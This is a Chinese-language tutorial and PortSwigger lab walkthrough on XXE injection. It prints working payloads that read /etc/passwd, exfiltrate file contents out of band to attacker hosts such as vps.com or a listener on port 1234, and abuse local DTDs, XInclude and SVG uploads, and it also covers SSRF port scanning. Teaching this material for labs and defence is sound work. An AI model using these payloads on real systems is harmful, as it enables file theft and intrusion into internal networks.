XXE与Portswigger Web Sec

​ 相关链接:

博客园

安全脉搏

FreeBuf



简介XML

  1. XML,可扩展标记语言,标准通用标记语言的子集。XML的简单易于在任何应用程序中读/写数据,这使XML很快成为数据交换的唯一公共语言。
  2. XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

其与HTML的主要差异

  1. XML被设计为传输和存储数据,其焦点是数据的内容。
  2. HTML被设计用来显示数据,其焦点是数据的外观。
  3. HTML旨在显示信息,而XML旨在传输信息。
  4. (小型网站一般不会储存XMl数据 )

​ XXE的全称为 XML 外部实体注入,在学习的过程中发现有回显的 XXE 并不多,而大部分都是 OOB 类型的 XXE。也就是通过引用外部 dtd 实体来获取指定的信息。

  1. <!ENTITY test "hello world!">
  2. // 内部实体
  3. <!ENTITY test SYSTEM "http://123.com/123.dtd">
  4. // 外部普通实体
  5. <!ENTITY % test SYSTEM "http://123.com/dtd">
  6. // 外部参数实体
  7. %test;
  8. // 在 dtd 中对外部参数实体进行引用

攻击原理:

​ 已知 xml 可以引用外部的 dtd 文件。那么通过定义一个参数实体,再将需要读取文件的路径赋值给 前面定义的 参数实体,就形成了任意文件的读取。如果把实体的值换成 IP+端口,那么就可能形成一个内网探测SSRF楼漏洞。而 xml 解释器在解释 xml 的时候有两种方式,一种是一次性加载整个 xml;另一种是一部分一部分的对 xml 进行解析。如果递归的调用 xml 定义,且数据量巨大,就有可能造成拒绝服务攻击。并且联想到我们之前学习过的 sql 注入漏洞,有些通过 xml 传递的数据可能会被代入到数据库中进行查询,那么就有可能造成 sql注入攻击

基础的XXE(有回显的XXE)


1 · 直接外部 dtd

  1. <!DOCTYPE test [
  2. <!ENTITY killshot SYSTEM "file:///etc/passwd">
  3. ]>
  4. <root>
  5. <test>&</test>
  6. </root>

​ 直接引用的话,最终的结果会在 Response 中回显

2 · 通过 dtd引入外部 dtd

  1. <!DOCTYPE test SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
  2. <root>&send;</root>

3 · 报错的XXE

报错XXE的思路与sql注入中的报错注入类似,都是通过服务器的报错信息获取我们想要的信息

例如 这里##安全脉搏##提到的
  1. <!DOCTYPE test [
  2. <!ENTITY % file SYSTEM "file:///etc/passwd">
  3. <!ENTITY % killshot0 "<!ENTITY killshot1 SYSTEM 'http://vps.com.$$$$$$$/exploit/?file=%file'>">
  4. ]>
返回结果

​ 正是由于 xml解释器尝试解析并访问构造好的错误域名,但是由于域名错误,无法到达正确的 URL 。因此有可能会爆出错误并显示出我们想要的结果。

又或者像是这样

  1. <!ENTITY % file SYSTEM "file:///etc/passwd">
  2. <!ENTITY % killshot "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
  3. %killshot;
  4. %error;

​ 构造一个错误的路径+正确的路径。解释器在解释 error 的时候会因为找不到正确的文件路径而报错。


XML漏洞可以间接导致很多漏洞,下图给出不同的XML解释器所支持的协议


Out-Of-Band


1 · 直接请求服务器上的dtd

​ 通过先定义一个 参数实体 来获取指定文件的内容,再通过 引用参数实体的方式请求 外部服务器配置好的 dtd来获取指定文件的内容。

如下:

  1. <!DOCTYPE [
  2. <!ENTITY % test1 SYSTEM "file:///etc/passwd">
  3. <!ENTITY % test2 SYSTEM "http://vps.com/?tao=%test1;">
  4. %test2;
  5. ]>

​ 正如上述,直接定义一个参数实体 test1 ,让这个参数实体通过 file:// 协议请求内部的文件,再通过应用 test2 请求服务器,通过参数的形式获取指定的文件。

但是这样并不会成功,几乎在 XML 所有的解释器中都不会解释同级参数实体的内容。

使用 nc:
  1. VPS-dtd
  2. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
  3. <!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">
  1. Payload
  2. <!DOCTYPE Note [
  3. <!ENTITY % remote SYSTEM "http://ip/exploit.dtd">
  4. %remote;
  5. %start;
  6. %send;
  7. ]>

最后使用nc

  1. nc -lvp 1234

2 · 嵌套请求

​ 我们直接给出 payload,并在稍后进行分析。

  1. <!DOCTYPE test [
  2. <!ENTITY % file SYSTEM "file:///etc/passwd">
  3. <!ENTITY % test1 "<!ENTITY
  4. % test2 SYSTEM'http://vps.com/?x=%file'
  5. >">
  6. ]>

​ 因为是嵌套的缘故,所以参数实体中的 % 需要 ENTITY 编码转义。直接将此类代码添加在数据包中是行不通的。因为在内部 ENTITY 中禁止应用参数实体。也正是因为这种限制,所以我们需要在服务器中添加 dtd,然后请求外部服务器的 dtd。

全新的 payload:

  1. xxe:
  2. <!DOCTYPE test [
  3. <!ENTITY % test SYSTEM "http://vps.com/test.dtd">
  4. %test;
  5. ]>
  1. test.dtd:
  2. <!ENTITY % file SYSTEM "file:///etc/passwd">
  3. <!ENTITY % run1 "<!ENITTY % run2 SYSTEM 'http://dns/?x=%file'>">
  4. %run1;
  5. %run2;

​ 在上述全新的 payload 中,我们通过 应用 %test 让有 XXE 漏洞的服务器请求如上的服务器地址。然后在test.dtd 被加载的过程中,先引用 run1 实体,run1 实体的引用让 run2 实体得以加载,随后 将 file 参数实体的值通过参数的形式传递到 dns服务器上。

3 · 不允许请求外部服务器

​ 可能会存在部分主机防火墙过滤机制严格,不允许请求外部服务器的 dtd。但是我们的思路是不变的,也就是通过一个 引入一个外部的 dtd 加载修改好的实体。

​ 在操作系统中,常常会有很多自带的 dtd 文件,如下面给到的 /usr/share/yelp/dtd/docbookx.dtd 。而我们的思路就是 :

  1. 重写一个内部 dtd 所含有的参数实体,通过加载内部的 dtd 起到引用重写的 dtd 的作用。

​ 这里给出一个 payload:

  1. <?xml version="1.0"?>
  2. <!DOCTYPE message [
  3. <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
  4. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
  5. <!ENTITY % ISOamso '
  6. <!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
  7. %eval;
  8. %send;'>
  9. %remote;
  10. ]>
  11. <message>1234</message>
  1. 上述流程:
  2. 定义一个参数实体 remote 且其值为内部 dtd 的路径;定义的 file 参数实体值需查看的文件路径。而参数实体 ISOamso 是内部实体文件所自带的 参数实体 ,并且我们使用三层嵌套将外部服务器的 URL 嵌套了进去(第三层的嵌套需要将 引号 也进行 ENTITY 编码)。
  3. 由此可见在服务器端运行的大致流程如下:
  4. 参数实体 remote 被引用,开始加载指定路径下的系统自带 dtd 。自带的dtd加载过程中引用了重写过的 ISOamso 参数实体,便开始定义出名为 eval 的参数实体键值对。即相继调用了eval send。最后在加载 send 值的同时引用 file 的值。由此 /etc/passwd 的内容便被以参数的形式发送到指定的服务器上。但貌似在读取文件的时候对于 GET 最大传参大小限制这一解决问题,本人在学习的过程中并未找到相关资料

Xinclude

有的 web 应用程序会把用户输入的数据嵌入到后端的 XMl 里,然后再进行解析。这就意味着攻击者无法直接的控制整个 xml 文档,也无法修改 dtd 元素

​ 但是我们可以改用 xinclude 进行攻击,Xinclude 是一个 XML 的特性。其允许从子文档中构建 XML 文档,那么攻击的开始我们需要一个 标记 xi:include

  1. Payload
  2. <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

SVG(文件上传)

​ SVG 意为可缩放矢量图形(Scalable Vector Graphics),并且其使用 XML 定义图像。其与主流的图片格式的区别在于如果去改变他的尺寸或者是大小其图片的质量都不会发生变化。

​ 也正是由于SVG使用 XML 定义图像,因此容易造成 XSS和XXE

  1. XXE-Payload
  2. <?xml version="1.0" encoding="UTF-8"?>
  3. <!DOCTYPE note [
  4. <!ENTITY file SYSTEM "file:///etc/passwd" >
  5. ]>
  6. <svg height="100" width="1000">
  7. <text x="10" y="20">&file;</text>
  8. </svg>

​ hint:

​ 在有回显的情况下,如果无法回显所有的内容,可以尝试将 SVG 图像的尺寸调大

无回显结合SVG

​ 首先在外部服务器上放置我们构造好的 dtd 文件,然后再通过上传 SVG 文件使目标机请求外部的 dtd 文档。

  1. SVG:
  2. <?xml version="1.0" encoding="UTF-8"?>
  3. <!DOCTYPE Note [
  4. <!ENTITY lab SYSTEM "file:///etc/passwd">
  5. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
  6. <!ENTITY % remote SYSTEM "http://vps.com/exploit.dtd">
  7. %remote;
  8. %start;
  9. %send;
  10. ]>
  11. <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
  12. <text y="20" font-size="20">&lab;</text>
  13. </svg>
  1. DTD:
  2. <!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">

​ 总而言之,SVG在XXE中也只是一个用来传输 payload 介质,除去了他是介质这一点,可以知道SVG所造成的XXE 与常规的XXE并无太大区别


靶机演练


1 · 直接外部 dtd

​ 抓取数据包

  1. payload:
  2. <?xml version="1.0" encoding="UTF-8"?>
  3. <!DOCTYPE test [
  4. <!ENTITY redsun SYSTEM "file:///etc/passwd">
  5. ]>
  6. <stockCheck><productId>&redsun;</productId><storeId>1</storeId></stockCheck>

​ 有回显的 XXE 显示效果

2 · 通过XXE进行SSRF

​ 下图是已经修改过的数据包

​ 可以通过对端口号进行遍历,观察返回数据包的情况。以此来判断内网端口的情况。

​ 而下图可见,返回为Connection refused为关闭。否则即为开启

3 · 外带的XXE

PAYLOAD:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE test [
  3. <!ENTITY tao SYSTEM "http://xmn9ezvw3u2etibn957x6bb5zw5mtb.burpcollaborator.net">
  4. ]>
  5. <stockCheck>
  6. <productId>&tao;</productId>
  7. <storeId>1</storeId>
  8. </stockCheck>

返回的DNS信息:

当然此处可以让其加载 VPS 上的 dtd 文件,而上述的dns外带简单payload 可以作为测试是否存在XXE使用

======================================

PS1:

  1. 以下的注入大部分属于盲注类型,一般的 XXE 对于信息的外带是基于 web 页面的回显。但如果 web 无回显,可以尝试使用 dns 外带(Out Of Band)的方式

PS2:

  1. 盲注的 XXE 主要设计 参数实体和内部实体。参数实体就是上面 payload 中的带有 % 的部分。而内部实体是指在一个实体内部定义另一个实体,可以理解为 实体的嵌套
  2. 但是内部实体是否有用取决于 编程语言的解释器 是否支持。

======================================

4 · 通过 XML 参数实体进行DNS带外交互的盲 XXE

​ 如果还是使用上面的 Payload 会显示:

  1. Entities are not allowed for security reasons
  2. // 处于安全原因不允许使用外部实体

​ 那么就需要对 Payload 做出一些改动:

  1. <!DOCTYPE stockCheck [
  2. <!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe;
  3. ]>
  4. // 把原有的 dtd 实体信息改成这样

5 · 通过外部的dtd获取敏感信息

这一关要求我们通过让靶机访问外部的 dtd 来实现信息的外带

原始数据包:

​ 需要一台拥有域名的vps,并且有我们自己编写好的dtd

6 · 报错盲注 XXE外带

​ 这里要求我们构造报错信息,并通过报错信息显示出指定敏感文件的路径。因此我们需要在外部服务器上创建一个构造好的 dtd 文件。并用在数据包中加入构造好的payload,用以请求外部的 dtd

​ 外部 dtd 文件:

  1. 外部dtd-Payload
  2. <!ENTITY % file SYSTEM "file:///etc/passwd">
  3. <!ENTITY % test "<!ENTITY % error SYSTEM 'file:///aabbccdd/%file;'>">
  4. %test;
  5. %error;

​ 构造好的数据包:

  1. <!DOCTYPE dtd [
  2. <!ENTITY % woo SYSTEM "https://exploit-ac031f0c1ffad6bac13c214301390046.web-security-academy.net/exploit.dtd">
  3. %woo;
  4. ]>

​ 可以在报错信息中看到指定查看的 passwd 文件

7 · 重写系统自带 dtd

由于目标系统防火墙的限制,导致了无法请求外部服务器的 dtd。所以我们需要引用系统内部的 XXE,并重写其中的 参数实体

  1. 已知:
  2. 使用 GNOME 桌面环境的系统通常具有 DTD,其中包含一个名为/usr/share/yelp/dtd/docbookx.dtd
  3. 且其中的一个参数实体名为 ISOamso

​ 原始数据包:

  1. payload
  2. <!DOCTYPE message [
  3. <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  4. <!ENTITY % ISOamso '
  5. <!ENTITY % file SYSTEM "file:///etc/passwd">
  6. <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  7. %eval;
  8. %error;
  9. '>
  10. %local_dtd;
  11. ]>

Response:

8 · Xinclude

​ 可以看到原始数据包中,并没有有关 xml 的信息

​ 那么我们来尝试一下使用 xinclude 来进行 XXE

  1. Payload
  2. <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

​ 可以看到在数据包中已经读取到我们定义的路径文件了

9 · SVG

  1. Payload
  2. <?xml version="1.0" standalone="yes"?>
  3. <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
  4. <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  5. <text font-size="16" x="0" y="16">&xxe;</text></svg>

​ 将构造好的文件上传之后再返回页面源代码中寻找靶场需要我们提交的 flag

​ 可以看到页面显示的评论里面有我们想要的东西

浅解XXE与Portswigger Web Sec的更多相关文章

  1. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  2. ref:浅谈XXE漏洞攻击与防御

    ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20   |   分类于 web安全  |   热度 3189 ℃ 你会挽着我 ...

  3. GIS历史概述与WebGis应用开发技术浅解

    声明:本篇在李晓晖的<杂谈WebGIS>,补充更多的资料说明.基于地图二次开发一直断断续续在做,这里算是补充一下基本功把.其实对于前端,WebGis开发都是api,抄demo,改.GIS深 ...

  4. 从最大似然到EM算法浅解

    从最大似然到EM算法浅解 zouxy09@qq.com http://blog.csdn.net/zouxy09 机器学习十大算法之中的一个:EM算法.能评得上十大之中的一个,让人听起来认为挺NB的. ...

  5. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  6. 面试-1-C#浅解

    面试-1   C#浅解众所周知c#是微软推出的一款完全没面向对象的编程语言,那么对象是什么?在现实生活中人们一提到对象首先想到的就是“情侣”!但是在我们的程序中对象是什么? 在程序中个能够区别于其他事 ...

  7. List根据某字段去重,以及compareTo 浅解

    原文链接:https://blog.csdn.net/qq_35788725/article/details/82259013 Collections.sort可对集合进行排序 根据List里面某个字 ...

  8. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  9. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

随机推荐

  1. KNN分类

    1. KNN简介 K近邻(K-Nearest Neighbor)简称KNN.它可以做分类算法,也可以做回归算法.个人经验:KNN在做分类问题时非常有效. 2. KNN算法思想 在样本空间中,我们认为两 ...

  2. 安全防御之防xss、SQL注入、与CSRF攻击

    XSS攻击 个人理解,项目中最普通的就是通过输入框表单,提交js代码,进行攻击例如在输入框中提交 <script>alert("我是xss攻击");</scrip ...

  3. java 编程基础 注解 :可重复的注解

    重复注解 Java8以前,同一个程序元素前最多只能使用一相同类型的注解;如果需要在同一个元素前使用多个相同类型的注解,则必须使用注解"容器".例如在Struts开发中,有时需要在 ...

  4. python3 迭代器&生成器

    前戏:列表生成式 等于 用列表生成式生成列表.需要将所有数据生成到内存中,占用空间,如果数据太多.生成数据就会耗时较久. 例如需要运行卡顿一下..... 定义一个生成器:定义时不生成任何数据,只有通过 ...

  5. 云主机tracert外网无返回需在安全组入方向加ICMP Time Exceeded TTLexpired in transit

  6. curl -w参数简析

    curl的-w参数用于在一次完整且成功的操作后输出指定格式的内容到标准输出. 输出格式由普通字符串和任意数量的变量组成,输出变量需要按照%{variable_name}的格式,如果需要输出%,doub ...

  7. wordpress的.htaccess很容易就被挂马啊

    wordpress的.htaccess很容易就被挂马啊 修改成这样吧: # BEGIN WordPress<IfModule mod_rewrite.c>RewriteEngine OnR ...

  8. 使用.NET 6开发TodoList应用(6)——使用MediatR实现POST请求

    需求 需求很简单:如何创建新的TodoList和TodoItem并持久化. 初学者按照教程去实现的话,应该分成以下几步:创建Controller并实现POST方法:实用传入的请求参数new一个数据库实 ...

  9. 用setTimeout实现setInterval

    timerFun(); function timerFun() { console.log("实现操作部分") let timer = setTimeout(function () ...

  10. ACwing1212. 地宫取宝

    题目: X 国王有一个地宫宝库,是 n×m 个格子的矩阵,每个格子放一件宝贝,每个宝贝贴着价值标签. 地宫的入口在左上角,出口在右下角. 小明被带到地宫的入口,国王要求他只能向右或向下行走. 走过某个 ...